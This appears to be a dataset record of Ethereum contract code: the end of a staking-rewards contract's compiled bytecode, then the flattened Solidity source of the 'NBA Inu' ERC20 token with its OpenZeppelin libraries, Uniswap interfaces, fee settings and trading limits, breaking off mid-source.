84610e48565b60055550505b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561069d57600080fd5b505afa1580156106b1573d6000803e3d6000fd5b505050506040513d60208110156106c757600080fd5b50516006549091506106da908290610de1565b6005541115610730576040805162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f20686967680000000000000000604482015290519081900360640190fd5b4260078190556006546107439190610e48565b6004556040805184815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1505050565b600260015414156107c4576040805162461bcd60e51b815260206004820152601f602482015260008051602061123d833981519152604482015290519081900360640190fd5b6002600155336107d2610a88565b6008556107dd6108e1565b6007556001600160a01b03811615610824576107f88161030d565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b336000908152600a6020526040902054801561089a57336000818152600a6020526040812055600254610863916001600160a01b039091169083610ea2565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b505060018055565b6000546001600160a01b031681565b6001600160a01b03166000908152600c602052604090205490565b6003546001600160a01b031681565b60055481565b60006103bd42600454610ef9565b60096020526000908152604090205481565b60026001541415610947576040805162461bcd60e51b815260206004820152601f602482015260008051602061123d833981519152604482015290519081900360640190fd5b600260015533610955610a88565b6008556109606108e1565b6007556001600160a01b038116156109a75761097b8161030d565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b600082116109ed576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b600b546109fa9083610e48565b600b55336000908152600c6020526040902054610a179083610e48565b336000818152600c6020526040902091909155600354610a44916001600160a01b03909116903085610f0f565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a2505060018055565b60075481565b6000600b5460001415610a9e57506008546103a1565b6103bd610acd600b54610379670de0b6b3a7640000610ac7600554610ac76007546103546108e1565b90610d81565b60085490610e48565b6002546001600160a01b031681565b60085481565b336000908152600c6020526040902054610b04906103c2565b610b0c61077e565b565b60045481565b60026001541415610b5a576040805162461bcd60e51b815260206004820152601f602482015260008051602061123d833981519152604482015290519081900360640190fd5b600260015533610b68610a88565b600855610b736108e1565b6007556001600160a01b03811615610bba57610b8e8161030d565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60008611610c00576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b600b54610c0d9087610e48565b600b55336000908152600c6020526040902054610c2a9087610e48565b336000818152600c602052604080822093909355600354835163d505accf60e01b81526004810193909352306024840152604483018a90526064830189905260ff8816608484015260a4830187905260c4830186905292516001600160a01b039093169263d505accf9260e480820193929182900301818387803b158015610cb157600080fd5b505af1158015610cc5573d6000803e3d6000fd5b5050600354610ce292506001600160a01b03169050333089610f0f565b60408051878152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a250506001805550505050565b600082821115610d7b576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082610d9057506000610385565b82820282848281610d9d57fe5b0414610dda5760405162461bcd60e51b81526004018080602001828103825260218152602001806112836021913960400191505060405180910390fd5b9392505050565b6000808211610e37576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381610e4057fe5b049392505050565b600082820183811015610dda576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ef4908490610f6f565b505050565b6000818310610f085781610dda565b5090919050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610f69908590610f6f565b50505050565b6000610fc4826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166110209092919063ffffffff16565b805190915015610ef457808060200190516020811015610fe357600080fd5b5051610ef45760405162461bcd60e51b815260040180806020018281038252602a8152602001806112ce602a913960400191505060405180910390fd5b606061102f8484600085611037565b949350505050565b6060824710156110785760405162461bcd60e51b815260040180806020018281038252602681526020018061125d6026913960400191505060405180910390fd5b61108185611192565b6110d2576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106111105780518252601f1990920191602091820191016110f1565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611172576040519150601f19603f3d011682016040523d82523d6000602084013e611177565b606091505b5091509150611187828286611198565b979650505050505050565b3b151590565b606083156111a7575081610dda565b8251156111b75782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112015781810151838201526020016111e9565b50505050905090810190601f16801561122e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe5265656e7472616e637947756172643a207265656e7472616e742063616c6c00416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742052657761726473446973747269627574696f6e20636f6e74726163745361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212200c6a20f37a0345b37575f84ae7f392097b93321b09e153ecb7c887808a507fae64736f6c63430007060033
[ 13, 4 ]
0xf2A053B4216F1E154a088CAd608ba92a74BA859d
// linktree: https://linktr.ee/nbainu // hevm: flattened sources of src/NbaInu.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; ////// lib/openzeppelin-contracts/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) /* pragma solidity ^0.8.0; */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } ////// lib/openzeppelin-contracts/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) /* pragma solidity ^0.8.0; */ /* import "../utils/Context.sol"; */ /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) /* pragma solidity ^0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) /* pragma solidity ^0.8.0; */ /* import "../IERC20.sol"; */ /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) /* pragma solidity ^0.8.0; */ /* import "./IERC20.sol"; */ /* import "./extensions/IERC20Metadata.sol"; */ /* import "../../utils/Context.sol"; */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } ////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) /* pragma solidity ^0.8.0; */ // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } ////// src/IUniswapV2Factory.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } ////// src/IUniswapV2Pair.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } ////// src/IUniswapV2Router02.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } ////// src/NbaInu.sol /* pragma solidity >=0.8.10; */ /* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */ /* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */ /* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */ /* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */ /* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */ contract NbaInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("NBA Inu", "NBI") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 1; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 9; uint256 _sellLiquidityFee = 1; uint256 _sellDevFee = 2; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 10_000_000 * 1e18; // 1% from total supply maxTransactionAmountTxn maxWallet = 20_000_000 * 1e18; // 2% from total supply maxWallet swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0xe4B8ebED3e3bCdB52F72E00C2F7FDEDa63fab135); // set as marketing wallet devWallet = address(0x0f1C86BE16Cb652C43198cc94Db258c79a546080); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled 